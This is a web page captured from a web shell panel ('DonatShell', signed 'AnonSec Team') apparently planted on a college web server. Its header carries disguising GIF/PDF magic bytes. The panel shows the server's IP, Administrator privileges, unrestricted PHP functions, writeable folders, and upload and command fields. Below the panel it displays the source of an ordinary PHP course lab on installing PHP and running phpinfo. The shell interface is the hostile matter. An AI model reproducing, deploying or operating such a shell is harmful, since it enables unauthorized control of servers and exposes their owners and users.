GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1146/Labs/Lab02/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1146/Labs/Lab02/Lab02.phpinc
<?
// JimMartinson/CST1611/Labs/Lab07/Lab07.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

$directoryFile = '!'.$evaluationName.'-'.$userFullName.'.txt';

include('common/Browser/Browser.phpinc');
$ShowSpanCountBefore = false;
#$ShowSpanCountBefore = true;
// <span class="count">
?>
<style type="text/css">
b { white-space:nowrap; }
ol { }
li { }
ol.count { counter-reset:item; }
ol.count ol { counter-reset:item; }
ol.count li.count { list-style-type:none; }
ol.count li.count:before { content:counters(item, ".") ". "; counter-increment:item; margin-left:-2em; }
<? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; }
</style>
<a name="Lab"></a>
<!--
<textarea id="objd"></textarea>
<textarea id="objd2"></textarea>
-->

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
Apache can use the Common Gateway Interface and Server Side Include commands to display dynamic content.<br>
The purpose of this lab is to demonstrate the ability to install PHP and configure Apache to use it.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
<br><?=$gradeNote?>
<ol id="main" class="count">
	<? // 1. ?>
	<li>Setup a directory for use in <?=$evaluationType?> <?=$evaluationNumber?>.
		<ol class="count">
			<li>Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li>
			<li>Create a text file called <b class="copyText"><?=$directoryFile?></b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li>
		</ol>
	</li>
	<? // 2. ?>
	<li>Configure Apache to work with PHP.
		<ol class="count">
			<li>Install PHP. ( I used <a href="https://danielarancibia.wordpress.com/2015/09/27/installing-apache-2-4-and-php-7-for-development-on-windows/">this site</a> for a how-to )
				<br>Now, I ran into some problems with downloading PHP 8 instead of 7, and the exact text to load the PHP module for Apache, but you can figure it out from the recording.
<!--			<li>Download <a href="phpinfo.php">phpinfo.php</a> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li>-->
			<li>Create a PHP script file.
				<ol>
					<li>Open a text editor and a new document.</li>
					<li>Copy and paste the following into the document:
						<pre class="code copyText">
&lt;?php
phpinfo();
?&gt;
</pre>
					</li>
					<li>Save the file as <b class="copyText">phpinfo.php</b> in your <?=$evaluationName?> folder.</li>
				</ol>
			</li>
		</ol>
	</li>
	<? // 3. ?>
			<li>Verify that your PHP installation works.
				<ol type="i">
					<li>Stop and restart Apache.</li>
					<li>Open up a browser.</li>
					<li>In the address bar enter <b class="copyText">http://localhost</i></b> and hit enter.</li>
					<li>Click on the <b>CST1146</b> folder.</li>
					<li>Click on the <b><?=$evaluationName?></b> folder.</li>
					<li>Click on <b>phpinfo.php</b>.	You should see a page beginning with:<br>
						<? BrowserBegin('phpinfo()',$courseNumber.'.loc/'.$evaluationName.'/phpinfo.php',820); ?>
						<img src="phpinfo.png" alt="phpinfo.php" width="800" height="503">
<? /** / ?>
<style type="text/css">
.phppre {margin: 0px; font-family: monospace;}
.phptable {border-collapse: collapse;}
.phpcenter {text-align: center;}
.phpcenter .phptable { margin-left: auto; margin-right: auto; text-align: left;}
.phpcenter .phpth { text-align: center !important; }
.phptd, .phpth { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;}
.phph1 {font-family: sans-serif; font-size: 150%;}
.phph2 {font-family: sans-serif; font-size: 125%;}
.phpp {font-family: sans-serif; text-align: left;}
.phpe {background-color: #ccccff; font-weight: bold; color: #000000;}
.phph {font-family: sans-serif; background-color: #9999cc; font-weight: bold; color: #000000;}
.phpv {background-color: #cccccc; color: #000000;}
.phpvr {background-color: #cccccc; text-align: right; color: #000000;}
.phpimg {float: right; border: 0px;}
.phphr {width: 600px; background-color: #cccccc; border: 0px; height: 1px; color: #000000;}
</style>
<div class="phpcenter">
<table border="0" cellpadding="3" width="100%" class="phptable">
<tr class="phph"><td class="phptd">
<a href="http://www.php.net/"><img border="0" src="PHP/phpinfo.php.gif" alt="PHP Logo" class="phpimg" /></a><h1 class="phph1 phpp">PHP Version 5.2.4</h1>
</td></tr>phpinfo.php
</table><!-- phptable -->
<br>
<table border="0" cellpadding="3" width="100%" class="phptable">
<tr><td class="phptd phpe">System </td><td class="phptd phpv"> 5.1 build 2600 </td></tr>

<tr><td class="phptd phpe">Build Date </td><td class="phptd phpv">Aug 30 2007 07:05:48 </td></tr>
<tr><td class="phptd phpe">Configure Command </td><td class="phptd phpv">cscript /nologo configure.js	&quot;--enable-snapshot-build&quot; &quot;--with-gd=shared&quot; </td></tr>
<tr><td class="phptd phpe">Server API </td><td class="phptd phpv">Apache 2.0 Handler </td></tr>
<tr><td class="phptd phpe">Virtual Directory Support </td><td class="phptd phpv">enabled </td></tr>
<tr><td class="phptd phpe">Configuration File (php.ini) Path </td><td class="phptd phpv"><?=$_ENV['SystemRoot']?> </td></tr>

<tr><td class="phptd phpe">Loaded Configuration File </td><td class="phptd phpv"><?=$_SESSION['userDefaultDrive']?>:\PHP\php.ini </td></tr>
<tr><td class="phptd phpe">PHP API </td><td class="phptd phpv">20041225 </td></tr>
<tr><td class="phptd phpe">PHP Extension </td><td class="phptd phpv">20060613 </td></tr>
<tr><td class="phptd phpe">Zend Extension </td><td class="phptd phpv">220060519 </td></tr>
<tr><td class="phptd phpe">Debug Build </td><td class="phptd phpv">no </td></tr>
<tr><td class="phptd phpe">Thread Safety </td><td class="phptd phpv">enabled </td></tr>

<tr><td class="phptd phpe">Zend Memory Manager </td><td class="phptd phpv">enabled </td></tr>
<tr><td class="phptd phpe">IPv6 Support </td><td class="phptd phpv">enabled </td></tr>
<tr><td class="phptd phpe">Registered PHP Streams </td><td class="phptd phpv">php, file, data, http, ftp, compress.zlib	 </td></tr>
<tr><td class="phptd phpe">Registered Stream Socket Transports </td><td class="phptd phpv">tcp, udp </td></tr>
<tr><td class="phptd phpe">Registered Stream Filters </td><td class="phptd phpv">convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, zlib.* </td></tr>
</table>
</div>
<? /**/ ?>
						<? BrowserEnd(); ?>
						If you get an error, the browser attempts to download the file, or you see the PHP commands then your PHP installation failed. Contact your Instructor for help.
					</li>
					<li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_PHP.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
						<br>Make sure that the address bar is visible in your browser before saving the image.</li>
				</ol>
			</li>
	</li>
	<? // 4. ?>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Copy your <b>hosts</b> (C:\Windows\system32\drivers\etc\hosts) file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy your <b>httpd.conf</b> (C:\Apache24\conf\httpd.conf) file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder.
				<br><?=$directoryFile?>
				<br>phpinfo.php
				<br><?=$saveFilename?>_PHP.png
				<br>hosts
				<br>httpd.conf
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
<!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> -->
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
?>

Anon7 - 2022
AnonSec Team